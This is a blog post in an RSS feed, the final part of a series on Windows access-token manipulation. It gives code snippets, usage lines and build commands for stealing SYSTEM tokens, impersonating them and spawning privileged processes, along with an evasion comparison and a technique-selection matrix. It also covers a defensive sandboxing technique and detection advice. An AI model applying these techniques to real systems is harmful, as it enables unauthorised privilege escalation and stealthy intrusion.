<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[rxnveera.blog]]></title><description><![CDATA[rxnveera.blog]]></description><link>https://rxnveera.blog</link><image><url>https://cdn.hashnode.com/uploads/logos/69441e0da418bf1fc22446c0/ea1aa44d-cc0a-4446-abf8-8e6b2b2f1f95.jpg</url><title>rxnveera.blog</title><link>https://rxnveera.blog</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 11 Sep 2026 14:34:27 GMT</lastBuildDate><atom:link href="https://rxnveera.blog/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[The Complete Token Manipulation Playbook — Every Technique, One Truth About Parent PIDs]]></title><description><![CDATA[Four remaining techniques, a debunked myth about SecLogon and svchost.exe, and the definitive comparison of every way to abuse Windows Access Tokens.

Previously — Two Techniques Down
In Part 1, we co]]></description><link>https://rxnveera.blog/the-complete-token-manipulation-playbook-every-technique-one-truth-about-parent-pids</link><guid isPermaLink="true">https://rxnveera.blog/the-complete-token-manipulation-playbook-every-technique-one-truth-about-parent-pids</guid><dc:creator><![CDATA[rxnveera]]></dc:creator><pubDate>Sun, 23 Aug 2026 15:08:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/9a311713-a1b6-4c54-af39-3c92d5443c75.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Four remaining techniques, a debunked myth about SecLogon and svchost.exe, and the definitive comparison of every way to abuse Windows Access Tokens.</em></p>
<hr />
<h2>Previously — Two Techniques Down</h2>
<p>In <a href="https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess">Part 1</a>, we covered the <strong>Suspended Process Token Swap</strong> (B3) — the most evasive technique, using <code>NtSetInformationProcess</code> to silently replace a frozen process's identity. In <a href="https://rxnveera.blog/the-seclogon-shortcut-spawning-system-processes-via-createprocesswithtokenw">Part 2</a>, we covered <strong>CreateProcessWithTokenW</strong> (B2) — the seclogon shortcut that trades evasion for simplicity.</p>
<p>This final part covers the remaining four techniques and drops a truth bomb that contradicts most red team blogs you've read: <strong>SecLogon does NOT make svchost.exe the parent process on modern Windows.</strong></p>
<p>Here's what we're covering:</p>
<table>
<thead>
<tr>
<th>Technique</th>
<th>What it does</th>
</tr>
</thead>
<tbody><tr>
<td><strong>A1</strong> — Steal &amp; Impersonate</td>
<td>Thread-level identity theft via <code>SetThreadToken</code></td>
</tr>
<tr>
<td><strong>A2</strong> — Privilege Reduction</td>
<td>Strip your own privileges for sandboxing (defensive)</td>
</tr>
<tr>
<td><strong>B1</strong> — <code>CreateProcessAsUserW</code></td>
<td>Direct process spawn with a stolen Primary token</td>
</tr>
<tr>
<td><strong>B4</strong> — <code>CreateProcessWithLogonW</code></td>
<td>Credential-based spawn — no token theft needed</td>
</tr>
</tbody></table>
<p>Plus: <strong>The Parent PID myth</strong> — why every technique in this series produces the same process tree.</p>
<hr />
<h2>The Parent PID Myth — Busted</h2>
<p>Before we dive into the techniques, let's address the elephant in the room. You've probably read blog posts claiming:</p>
<blockquote>
<p><em>"CreateProcessWithLogonW and CreateProcessWithTokenW spawn processes through the SecLogon service, so the parent PID will be svchost.exe — useful for PPID spoofing."</em></p>
</blockquote>
<p><strong>This is wrong on modern Windows.</strong> We tested every technique, and here's what actually happens:</p>
<pre><code class="language-plaintext">PS&gt; Get-CimInstance Win32_Process -Filter "ProcessId = 7032" | Select ProcessId, ParentProcessId, Name

ProcessId ParentProcessId Name
--------- --------------- ----
     7032            7864 cmd.exe     ← Parent = B4_logon_spawn.exe, NOT svchost.exe
</code></pre>
<h3>What Changed — The Timeline</h3>
<table>
<thead>
<tr>
<th>Windows Version</th>
<th>SecLogon Parent PID Behavior</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Windows XP / Server 2003</strong></td>
<td><code>svchost.exe</code> (SecLogon) was the parent ✅</td>
</tr>
<tr>
<td><strong>Windows Vista / 7 / 10 / 11</strong></td>
<td><strong>The calling process</strong> is the parent ❌</td>
</tr>
</tbody></table>
<p>Starting from Vista, Microsoft redesigned SecLogon. When <code>CreateProcessWithTokenW</code> or <code>CreateProcessWithLogonW</code> fires an RPC to the SecLogon service, SecLogon internally:</p>
<ol>
<li><p>Receives the RPC request</p>
</li>
<li><p>Opens a handle to the <strong>caller's process</strong></p>
</li>
<li><p>Creates the child process with the caller's handle as the parent (via <code>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code> or equivalent internal mechanism)</p>
</li>
</ol>
<p>The child process's parent is always <strong>your tool</strong> — not svchost.exe. This applies to <strong>all six techniques</strong> in this series:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/cf801796-c925-46cf-a1b8-bdf8dd8e1adc.png" alt="" style="display:block;margin:0 auto" />

<p>If you want <code>svchost.exe</code> as the parent, you need <strong>explicit PPID spoofing</strong> via <code>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code> — that's a separate technique entirely, not a side effect of SecLogon.</p>
<p>With that settled, let's cover the remaining four techniques.</p>
<hr />
<h2>A1: Steal &amp; Impersonate — Thread-Level Identity Theft</h2>
<blockquote>
<p>📁 Source: <a href="https://github.com/veeramani110400/token_impersonation/blob/main/A1_steal_impersonate/steal_impersonate.c"><code>A1_steal_impersonate/steal_impersonate.c</code></a></p>
</blockquote>
<p>This is the foundational technique. Everything else builds on it. A1 doesn't spawn a new process — it makes your <strong>current thread</strong> wear someone else's identity.</p>
<h3>The Concept</h3>
<p>Every thread in Windows can temporarily impersonate a different user by attaching an Impersonation token. The process's Primary token stays unchanged — only the thread's effective identity changes.</p>
<pre><code class="language-plaintext">  BEFORE:
    Process (Primary: Alice)
      └── Thread (no impersonation token → inherits Alice)

  AFTER SetThreadToken:
    Process (Primary: Alice)       ← unchanged
      └── Thread (Impersonation: SYSTEM) ← wearing SYSTEM's badge
</code></pre>
<p>The thread can now access resources as SYSTEM — open SYSTEM-only registry keys, read protected files, access privileged handles. But the process itself still looks like Alice from the outside.</p>
<h3>The Flow</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/f755f76a-8728-41e9-976a-fed09f22aab3.png" alt="" style="display:block;margin:0 auto" />

<h3>The Critical Code</h3>
<p>The conversion and application happen in two calls:</p>
<pre><code class="language-c">/* Primary → Impersonation */
DuplicateTokenEx(
    hStolenPrimary,         /* Source: winlogon's Primary token */
    TOKEN_ALL_ACCESS,
    NULL,
    SecurityImpersonation,  /* Impersonation level */
    TokenImpersonation,     /* Output: Impersonation token */
    &amp;hImpToken
);

/* Apply to current thread */
SetThreadToken(NULL, hImpToken);  /* NULL = current thread */
</code></pre>
<p>After this, the thread can perform SYSTEM-only operations:</p>
<pre><code class="language-c">/* This normally fails for admin users — succeeds under impersonation */
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SAM\\SAM", 0, KEY_READ, &amp;hKey);
/* → ERROR_SUCCESS — we're SYSTEM on this thread */
</code></pre>
<h3>Reverting</h3>
<p>Impersonation is temporary. One call undoes it:</p>
<pre><code class="language-c">RevertToSelf();  /* Thread drops the borrowed identity */
</code></pre>
<h3>Why A1 Matters</h3>
<p>A1 is the <strong>prerequisite</strong> for B1 and B3. Both require <code>SeAssignPrimaryTokenPrivilege</code> — which regular admins don't have, but SYSTEM does. The attack chain is:</p>
<pre><code class="language-plaintext">Admin shell → A1 (impersonate SYSTEM on thread) → now have SeAssignPrimaryTokenPrivilege
            → B1 or B3 (spawn permanent SYSTEM process)
</code></pre>
<p>A1 gives you temporary SYSTEM. B1/B3 give you permanent SYSTEM.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/a2c21a50-402c-401d-a664-4a772544bc86.png" alt="" style="display:block;margin:0 auto" />

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Privilege required</strong></td>
<td><code>SeDebugPrivilege</code> (Admin)</td>
</tr>
<tr>
<td><strong>Scope</strong></td>
<td>Thread only — temporary</td>
</tr>
<tr>
<td><strong>Reversible</strong></td>
<td>Yes, via <code>RevertToSelf()</code></td>
</tr>
<tr>
<td><strong>Process tree impact</strong></td>
<td>None — no new process</td>
</tr>
<tr>
<td><strong>MITRE</strong></td>
<td>T1134.001</td>
</tr>
</tbody></table>
<hr />
<h2>A2: Privilege Reduction — The Defensive Counterpart</h2>
<blockquote>
<p>📁 Source: <a href="https://github.com/veeramani110400/token_impersonation/blob/main/A2_privilege_reduction/sandbox_thread.c"><code>A2_privilege_reduction/sandbox_thread.c</code></a></p>
</blockquote>
<p>A2 is A1 in reverse. Instead of putting on a more-privileged badge, you strip privileges from your own token to create a <strong>sandboxed thread</strong>. This is a legitimate defensive technique — the same mechanism used by Chrome's sandbox, IIS worker processes, and Windows service isolation.</p>
<h3>The Concept</h3>
<p>A high-privilege process duplicates its own token, permanently removes dangerous privileges using <code>SE_PRIVILEGE_REMOVED</code>, and applies the restricted token to a worker thread. The worker thread can't re-escalate — the privileges are gone, not just disabled.</p>
<pre><code class="language-plaintext">  BEFORE:
    Thread: SeDebugPrivilege ✓, SeBackupPrivilege ✓, SeTcbPrivilege ✓
    → Can open winlogon.exe, read SAM, act as part of the OS

  AFTER strip_privileges + SetThreadToken:
    Thread: SeDebugPrivilege ✗, SeBackupPrivilege ✗, SeTcbPrivilege ✗
    → Cannot open protected processes, cannot read SAM
</code></pre>
<h3>Key Difference: REMOVED vs DISABLED</h3>
<pre><code class="language-c">/* SE_PRIVILEGE_DISABLED — can be re-enabled later */
tp.Privileges[0].Attributes = SE_PRIVILEGE_DISABLED;

/* SE_PRIVILEGE_REMOVED — permanently gone from this token */
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
</code></pre>
<p><code>DISABLED</code> is a seatbelt you can unbuckle. <code>REMOVED</code> is cutting the seatbelt out of the car. A2 uses <code>REMOVED</code> — the thread cannot re-escalate.</p>
<h3>Privileges Stripped</h3>
<pre><code class="language-c">static const char* DANGEROUS_PRIVILEGES[] = {
    "SeDebugPrivilege",              /* Open SYSTEM processes */
    "SeBackupPrivilege",             /* Read any file regardless of ACL */
    "SeRestorePrivilege",            /* Write any file regardless of ACL */
    "SeTcbPrivilege",                /* Act as part of the OS */
    "SeAssignPrimaryTokenPrivilege", /* Swap process tokens (B1/B3) */
    "SeTakeOwnershipPrivilege",      /* Take ownership of any object */
    "SeLoadDriverPrivilege",         /* Load kernel drivers */
    "SeImpersonatePrivilege",        /* Impersonate other users (B2) */
    NULL
};
</code></pre>
<h3>Verification</h3>
<p>The code verifies the sandbox works by attempting privileged operations before and after:</p>
<pre><code class="language-plaintext">PRE-SANDBOX:  Can read HKLM\SAM\SAM ✓ (privileged access works)
POST-SANDBOX: SAM access DENIED ✓ (sandbox working correctly!)
POST-SANDBOX: Cannot open winlogon.exe ✓ (SeDebugPrivilege stripped!)
POST-REVERT:  SAM access restored ✓ (original privileges confirmed)
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/ad767761-a4d8-48b4-8ebf-96ef8774b334.png" alt="" style="display:block;margin:0 auto" />

<h3>Why Include a Defensive Technique?</h3>
<p>Understanding how sandboxing works is critical for attackers and defenders:</p>
<ul>
<li><p><strong>Red teamers</strong> need to know that impersonation tokens with stripped privileges can't be re-escalated — stop trying to abuse them</p>
</li>
<li><p><strong>Blue teamers</strong> see the same <code>DuplicateTokenEx</code> + <code>SetThreadToken</code> pattern in legitimate sandboxing — helps distinguish malicious from defensive usage</p>
</li>
<li><p><strong>The code pattern is identical</strong> to A1 — same APIs, opposite intent</p>
</li>
</ul>
<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Privilege required</strong></td>
<td>Admin (to have privileges worth stripping)</td>
</tr>
<tr>
<td><strong>Scope</strong></td>
<td>Thread only — temporary sandbox</td>
</tr>
<tr>
<td><strong>Reversible</strong></td>
<td>Yes, via <code>RevertToSelf()</code></td>
</tr>
<tr>
<td><strong>Purpose</strong></td>
<td>Defensive — least-privilege on worker threads</td>
</tr>
<tr>
<td><strong>MITRE</strong></td>
<td>T1134 (general)</td>
</tr>
</tbody></table>
<hr />
<h2>B1: CreateProcessAsUserW — The Direct Spawn</h2>
<blockquote>
<p>📁 Source: <a href="https://github.com/veeramani110400/token_impersonation/blob/main/B1_create_process_as_user/token_to_process.c"><code>B1_create_process_as_user/token_to_process.c</code></a></p>
</blockquote>
<p>B1 is the most direct approach: take a stolen token, convert it to Primary, and spawn a process with it. No services involved, no undocumented APIs. Just <code>CreateProcessAsUserW</code> — a standard Win32 function.</p>
<h3>The Flow</h3>
<p>B1 is interesting because it demonstrates the <strong>full A→B conversion pipeline</strong>. It chains A1 (steal &amp; impersonate) with a process spawn:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/d304df94-4b51-432a-9eba-476eef5dc0d9.png" alt="" style="display:block;margin:0 auto" />

<h3>Why the Round Trip?</h3>
<p>Notice the double conversion: <code>Primary → Impersonation → Primary</code>. Why not just use the original Primary token directly?</p>
<p>Two reasons:</p>
<ol>
<li><p><strong>Ownership</strong> — The original Primary token from <code>OpenProcessToken</code> is a reference to winlogon's token. The kernel won't let you assign someone else's token reference to a new process. <code>DuplicateTokenEx</code> creates an independent copy you own.</p>
</li>
<li><p><strong>Full A1 chain demonstration</strong> — B1 demonstrates the complete real-world attack flow: steal, impersonate (to gain <code>SeAssignPrimaryTokenPrivilege</code>), then spawn. In practice, you'd often already be impersonating from a previous step.</p>
</li>
</ol>
<h3>The Spawn Call</h3>
<pre><code class="language-c">CreateProcessAsUserW(
    hNewPrimary,       /* hToken — MUST be TokenPrimary */
    NULL,              /* lpApplicationName */
    spawn_cmd,         /* lpCommandLine — "cmd.exe" */
    NULL, NULL,        /* Security attributes */
    FALSE,             /* bInheritHandles */
    CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
    pEnv,              /* Environment block from CreateEnvironmentBlock */
    NULL,              /* Current directory */
    &amp;si, &amp;pi
);
</code></pre>
<p><code>CreateProcessAsUserW</code> is strict — it <strong>requires</strong> a Primary token. Pass an Impersonation token and it fails. This is the key difference from B2 (<code>CreateProcessWithTokenW</code>), which accepts Impersonation tokens and lets seclogon handle the conversion.</p>
<h3>The Privilege Barrier</h3>
<pre><code class="language-plaintext">Error 1314 — ERROR_PRIVILEGE_NOT_HELD
→ Missing SeAssignPrimaryTokenPrivilege
→ Regular admins don't have this. SYSTEM does.
</code></pre>
<p>This is B1's biggest limitation. <code>CreateProcessAsUserW</code> requires <code>SeAssignPrimaryTokenPrivilege</code>, which only SYSTEM-level accounts hold. A regular admin running B1 gets error 1314 — you need to chain it with A1 first (impersonate SYSTEM to gain the privilege), then call <code>CreateProcessAsUserW</code> from the impersonated context.</p>
<p>Or just use B2 instead — it only needs <code>SeImpersonatePrivilege</code>, which admins have.</p>
<h3>B1 vs B2 — When to Use Which</h3>
<table>
<thead>
<tr>
<th>Situation</th>
<th>B1</th>
<th>B2</th>
</tr>
</thead>
<tbody><tr>
<td>You're already SYSTEM</td>
<td>✅ Simpler, no service dependency</td>
<td>✅ Also works</td>
</tr>
<tr>
<td>You're admin (not SYSTEM)</td>
<td>❌ Error 1314</td>
<td>✅ Works directly</td>
</tr>
<tr>
<td>seclogon is disabled</td>
<td>✅ No dependency</td>
<td>❌ Fails</td>
</tr>
<tr>
<td>You want minimal API surface</td>
<td>✅ Direct Win32 call</td>
<td>🟡 RPC to seclogon</td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Privilege required</strong></td>
<td><code>SeAssignPrimaryTokenPrivilege</code> (SYSTEM) + <code>SeDebugPrivilege</code></td>
</tr>
<tr>
<td><strong>Token type</strong></td>
<td>Must be Primary</td>
</tr>
<tr>
<td><strong>Service dependency</strong></td>
<td>None</td>
</tr>
<tr>
<td><strong>Parent PID</strong></td>
<td>The calling process</td>
</tr>
<tr>
<td><strong>MITRE</strong></td>
<td>T1134.002</td>
</tr>
</tbody></table>
<hr />
<h2>B4: CreateProcessWithLogonW — The Credential-Based Spawn</h2>
<blockquote>
<p>📁 Source: <a href="https://github.com/veeramani110400/token_impersonation/blob/main/B4_create_process_with_logon/logon_spawn.c"><code>B4_create_process_with_logon/logon_spawn.c</code></a></p>
</blockquote>
<p>B4 is fundamentally different from everything else in this series. It doesn't steal tokens at all. It uses <strong>plaintext credentials</strong> — username, domain, password — and lets SecLogon create a token from scratch.</p>
<h3>The Key Difference</h3>
<pre><code class="language-plaintext">B1: Needs a stolen TOKEN handle + SeAssignPrimaryTokenPrivilege
B2: Needs a stolen TOKEN handle + SeImpersonatePrivilege + seclogon
B3: Needs a stolen TOKEN handle + SeDebugPrivilege + NtSetInformationProcess
B4: Needs USERNAME + PASSWORD. That's it. No token handles. No privileges.
</code></pre>
<p><strong>B4 is the only API that a standard (non-admin) user can call.</strong> You just need valid credentials for the target account and the SecLogon service running.</p>
<h3>The Flow</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/d4f27801-b2e0-406d-8ff2-47a289b1a64b.png" alt="" style="display:block;margin:0 auto" />

<h3>The 0xc0000142 Trap</h3>
<p><code>CreateProcessWithLogonW</code> creates a <strong>new logon session</strong>. The spawned process runs under a fresh token that may not have DACL permissions on the caller's Window Station (<code>WinSta0</code>) and Desktop (<code>Default</code>). When <code>user32.dll</code> initializes inside the child, it tries to access these objects — and if the DACLs don't include the new SID, initialization fails with <code>STATUS_DLL_INIT_FAILED</code> (0xc0000142).</p>
<p>The fix is granting <code>Everyone</code> access to both objects before spawning:</p>
<pre><code class="language-c">/* Build Everyone SID (S-1-1-0) */
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
AllocateAndInitializeSid(&amp;SIDAuthWorld, 1, SECURITY_WORLD_RID,
                         0, 0, 0, 0, 0, 0, 0, &amp;pEveryoneSID);

/* Grant WINSTA_ALL_ACCESS on Window Station */
ea.grfAccessPermissions = WINSTA_ALL_ACCESS | READ_CONTROL;
ea.Trustee.ptstrName    = (LPTSTR)pEveryoneSID;
SetEntriesInAcl(1, &amp;ea, pOldDacl, &amp;pNewDacl);
SetSecurityInfo(hWinSta, SE_WINDOW_OBJECT, DACL_SECURITY_INFORMATION, ...);
</code></pre>
<p>This is a real-world issue — the B4 source code includes the complete <code>grant_winsta_desktop_access()</code> function that handles this transparently.</p>
<h3>Error Handling — B4 Has the Most Failure Modes</h3>
<p>Because B4 involves credential validation, it encounters errors the other techniques never see:</p>
<table>
<thead>
<tr>
<th>Error</th>
<th>Code</th>
<th>Meaning</th>
</tr>
</thead>
<tbody><tr>
<td><code>ERROR_LOGON_FAILURE</code></td>
<td>1326</td>
<td>Wrong username or password</td>
</tr>
<tr>
<td><code>ERROR_SERVICE_DISABLED</code></td>
<td>1058</td>
<td>SecLogon is disabled</td>
</tr>
<tr>
<td><code>ERROR_LOGON_TYPE_NOT_GRANTED</code></td>
<td>1385</td>
<td>Account denied interactive logon (GPO)</td>
</tr>
<tr>
<td><code>ERROR_ACCOUNT_LOCKED_OUT</code></td>
<td>1909</td>
<td>Account locked after failed attempts</td>
</tr>
<tr>
<td><code>ERROR_ACCOUNT_DISABLED</code></td>
<td>1331</td>
<td>Account is disabled in AD</td>
</tr>
<tr>
<td><code>ERROR_PASSWORD_MUST_CHANGE</code></td>
<td>1907</td>
<td>Password expired, must change first</td>
</tr>
</tbody></table>
<p>The code handles all of these with actionable guidance. On error 1385, it automatically falls back to <code>LOGON_NETCREDENTIALS_ONLY</code> — the equivalent of <code>runas /netonly</code>, which uses the credentials for network access only.</p>
<h3>B4's OPSEC Footprint</h3>
<p>B4 generates the <strong>most forensic evidence</strong> of any technique:</p>
<pre><code class="language-plaintext">Event 4648 — A logon was attempted using explicit credentials
Event 4624 — An account was successfully logged on (Type 2: Interactive)
Process Creation — Parent PID = your tool (NOT svchost.exe)
Named Pipe — SecLogon RPC communication visible in ETW
</code></pre>
<p>The password briefly exists in process memory. Credential Guard won't prevent this — the credentials are supplied by the attacker, not stolen from LSASS.</p>
<h3>Usage</h3>
<pre><code class="language-powershell"># Local account
.\B4_logon_spawn.exe Administrator P@ssw0rd

# Domain account
.\B4_logon_spawn.exe jdoe Spring2024! CORP

# Custom command
.\B4_logon_spawn.exe svc_account Passw0rd! . "powershell.exe"
</code></pre>
<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Privilege required</strong></td>
<td><strong>NONE</strong> — standard user can call this</td>
</tr>
<tr>
<td><strong>Input</strong></td>
<td>Username + Domain + Password (plaintext)</td>
</tr>
<tr>
<td><strong>Service dependency</strong></td>
<td>SecLogon (must be running)</td>
</tr>
<tr>
<td><strong>Parent PID</strong></td>
<td>The calling process (on Vista+)</td>
</tr>
<tr>
<td><strong>Forensic events</strong></td>
<td>4648 + 4624 (noisiest technique)</td>
</tr>
<tr>
<td><strong>MITRE</strong></td>
<td>T1134.002 + T1078</td>
</tr>
</tbody></table>
<hr />
<h2>The Complete Family — Side-by-Side Comparison</h2>
<p>Now that we've covered all six techniques across three blog posts, here's the definitive comparison:</p>
<h3>Privilege Requirements</h3>
<table>
<thead>
<tr>
<th>Technique</th>
<th>SeDebug</th>
<th>SeImpersonate</th>
<th>SeAssignPrimary</th>
<th>Available to Admin?</th>
</tr>
</thead>
<tbody><tr>
<td><strong>A1</strong> Steal &amp; Impersonate</td>
<td>✅</td>
<td>—</td>
<td>—</td>
<td>✅ Yes</td>
</tr>
<tr>
<td><strong>A2</strong> Privilege Reduction</td>
<td>—</td>
<td>—</td>
<td>—</td>
<td>✅ Yes</td>
</tr>
<tr>
<td><strong>B1</strong> CreateProcessAsUserW</td>
<td>✅</td>
<td>—</td>
<td>✅</td>
<td>❌ No (SYSTEM)</td>
</tr>
<tr>
<td><strong>B2</strong> CreateProcessWithTokenW</td>
<td>✅</td>
<td>✅</td>
<td>—</td>
<td>✅ Yes</td>
</tr>
<tr>
<td><strong>B3</strong> Suspended Token Swap</td>
<td>✅</td>
<td>—</td>
<td>✅</td>
<td>❌ No (SYSTEM)</td>
</tr>
<tr>
<td><strong>B4</strong> CreateProcessWithLogonW</td>
<td>—</td>
<td>—</td>
<td>—</td>
<td>✅ Yes (std user!)</td>
</tr>
</tbody></table>
<h3>Evasion Properties</h3>
<table>
<thead>
<tr>
<th>Technique</th>
<th>Token in creation event?</th>
<th>Service dependency</th>
<th>Undocumented API?</th>
<th>Parent PID</th>
</tr>
</thead>
<tbody><tr>
<td><strong>A1</strong></td>
<td>N/A (no process)</td>
<td>None</td>
<td>No</td>
<td>N/A</td>
</tr>
<tr>
<td><strong>A2</strong></td>
<td>N/A (no process)</td>
<td>None</td>
<td>No</td>
<td>N/A</td>
</tr>
<tr>
<td><strong>B1</strong></td>
<td>🔴 Yes</td>
<td>None</td>
<td>No</td>
<td>Caller</td>
</tr>
<tr>
<td><strong>B2</strong></td>
<td>🔴 Yes</td>
<td>SecLogon</td>
<td>No</td>
<td>Caller</td>
</tr>
<tr>
<td><strong>B3</strong></td>
<td>🟢 No (original token)</td>
<td>None</td>
<td>Yes (<code>NtSetInformationProcess</code>)</td>
<td>Caller</td>
</tr>
<tr>
<td><strong>B4</strong></td>
<td>🔴 Yes</td>
<td>SecLogon</td>
<td>No</td>
<td>Caller</td>
</tr>
</tbody></table>
<h3>The Decision Matrix — Which Technique to Use</h3>
<table>
<thead>
<tr>
<th>Your Situation</th>
<th>Best Technique</th>
<th>Why</th>
</tr>
</thead>
<tbody><tr>
<td>You have admin, want temporary SYSTEM</td>
<td><strong>A1</strong></td>
<td>Fastest. Thread-level. Reversible.</td>
</tr>
<tr>
<td>You need a permanent SYSTEM process, have admin</td>
<td><strong>B2</strong></td>
<td>Simplest spawn. SecLogon handles conversion.</td>
</tr>
<tr>
<td>You need maximum evasion, already SYSTEM</td>
<td><strong>B3</strong></td>
<td>Token invisible in creation event.</td>
</tr>
<tr>
<td>SecLogon is disabled, you're SYSTEM</td>
<td><strong>B1</strong></td>
<td>No service dependency.</td>
</tr>
<tr>
<td>You have creds, no admin, no token</td>
<td><strong>B4</strong></td>
<td>Only option without privileges.</td>
</tr>
<tr>
<td>You need to sandbox a worker thread</td>
<td><strong>A2</strong></td>
<td>Defensive. Strip privileges.</td>
</tr>
<tr>
<td>You want svchost.exe as parent</td>
<td><strong>None</strong></td>
<td>Use <code>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code> separately.</td>
</tr>
</tbody></table>
<h3>Token Direction Map</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/88d3361d-8d2b-4535-99a7-03fc7e2018e6.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Detection Summary — What Blue Teams Should Monitor</h2>
<table>
<thead>
<tr>
<th>What to Monitor</th>
<th>Catches</th>
</tr>
</thead>
<tbody><tr>
<td><code>NtSetInformationProcess</code> with class 9</td>
<td>B3 (the hardest to catch otherwise)</td>
</tr>
<tr>
<td><code>OpenProcessToken</code> on SYSTEM processes by non-SYSTEM callers</td>
<td>A1, B1, B2</td>
</tr>
<tr>
<td>SecLogon RPC interactions from unexpected processes</td>
<td>B2, B4</td>
</tr>
<tr>
<td>Event 4648 (Explicit Credential Logon)</td>
<td>B4</td>
</tr>
<tr>
<td>Process token re-query after creation callbacks</td>
<td>B3 (catches the identity mismatch)</td>
</tr>
<tr>
<td>Admin process spawning SYSTEM child</td>
<td>B1, B2</td>
</tr>
<tr>
<td><code>SetThreadToken</code> from non-service processes</td>
<td>A1</td>
</tr>
<tr>
<td><code>AdjustTokenPrivileges</code> with <code>SE_PRIVILEGE_REMOVED</code></td>
<td>A2 (but this is legitimate)</td>
</tr>
</tbody></table>
<p>The single most impactful detection: <strong>re-query process tokens after creation events.</strong> Most EDRs check at creation time and trust forever. A post-creation re-check catches B3's suspended swap — the one technique that evades everything else.</p>
<hr />
<h2>Building Everything</h2>
<p>All six techniques compile from one Makefile:</p>
<pre><code class="language-bash">cd Modules/token_impersonation
make all
</code></pre>
<p>Individual builds:</p>
<pre><code class="language-bash"># A1: Steal &amp; Impersonate
x86_64-w64-mingw32-gcc -O2 -o A1_steal_impersonate.exe \
    A1_steal_impersonate/steal_impersonate.c -ladvapi32 -lkernel32

# A2: Privilege Reduction
x86_64-w64-mingw32-gcc -O2 -o A2_sandbox_thread.exe \
    A2_privilege_reduction/sandbox_thread.c -ladvapi32 -lkernel32

# B1: CreateProcessAsUserW
x86_64-w64-mingw32-gcc -O2 -o B1_create_process_as_user.exe \
    B1_create_process_as_user/token_to_process.c \
    -ladvapi32 -lkernel32 -luserenv -municode

# B4: CreateProcessWithLogonW
x86_64-w64-mingw32-gcc -O2 -o B4_logon_spawn.exe \
    B4_create_process_with_logon/logon_spawn.c \
    -ladvapi32 -lkernel32 -luserenv -municode
</code></pre>
<hr />
<h2>Conclusion — The Series Complete</h2>
<p>Across three blog posts and six techniques, we've covered every practical method for Windows Access Token Manipulation:</p>
<p><strong>Part 1 (B3):</strong> <a href="https://rxnveera.blog/born-with-a-stolen-soul-spawning-processes-with-swapped-identities-via-ntsetinformationprocess">Born With a Stolen Soul — Suspended Process Token Swap</a> The most evasive technique. Process creation event is clean. Requires SYSTEM.</p>
<p><strong>Part 2 (B2):</strong> <a href="https://rxnveera.blog/the-seclogon-shortcut-spawning-system-processes-via-createprocesswithtokenw">The Seclogon Shortcut — CreateProcessWithTokenW</a> The pragmatic middle ground. Admin-accessible. Depends on SecLogon.</p>
<p><strong>Part 3 (this post):</strong> The Complete Family — A1, A2, B1, B4 + The Parent PID Truth Thread-level operations, the direct spawn, the credential-based approach, and the myth-busting truth that <strong>SecLogon does not give you svchost.exe as a parent on modern Windows</strong>.</p>
<p>The fundamental lesson: <strong>all six techniques produce the same parent-child process tree.</strong> The parent is always the calling process. The differences are in privilege requirements, evasion properties, and forensic footprint. Choose based on what you have (admin? SYSTEM? credentials?) and what you need (stealth? simplicity? no dependencies?).</p>
<hr />
<p><em>MITRE ATT&amp;CK References:</em></p>
<ul>
<li><p><a href="https://attack.mitre.org/techniques/T1134/001/"><em>T1134.001 — Token Impersonation/Theft</em></a> <em>(A1)</em></p>
</li>
<li><p><a href="https://attack.mitre.org/techniques/T1134/002/"><em>T1134.002 — Create Process with Token</em></a> <em>(B1, B2, B3, B4)</em></p>
</li>
<li><p><a href="https://attack.mitre.org/techniques/T1134/"><em>T1134 — Access Token Manipulation</em></a> <em>(A2)</em></p>
</li>
<li><p><a href="https://attack.mitre.org/techniques/T1078/"><em>T1078 — Valid Accounts</em></a> <em>(B4 — credential usage)</em></p>
</li>
</ul>
